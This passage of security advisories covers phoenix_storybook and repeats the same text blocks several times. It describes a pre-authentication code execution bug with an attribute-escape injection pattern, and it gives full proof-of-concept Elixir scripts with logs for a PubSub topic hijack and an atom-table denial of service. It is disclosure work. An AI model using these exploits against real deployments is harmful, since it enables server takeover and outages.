3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
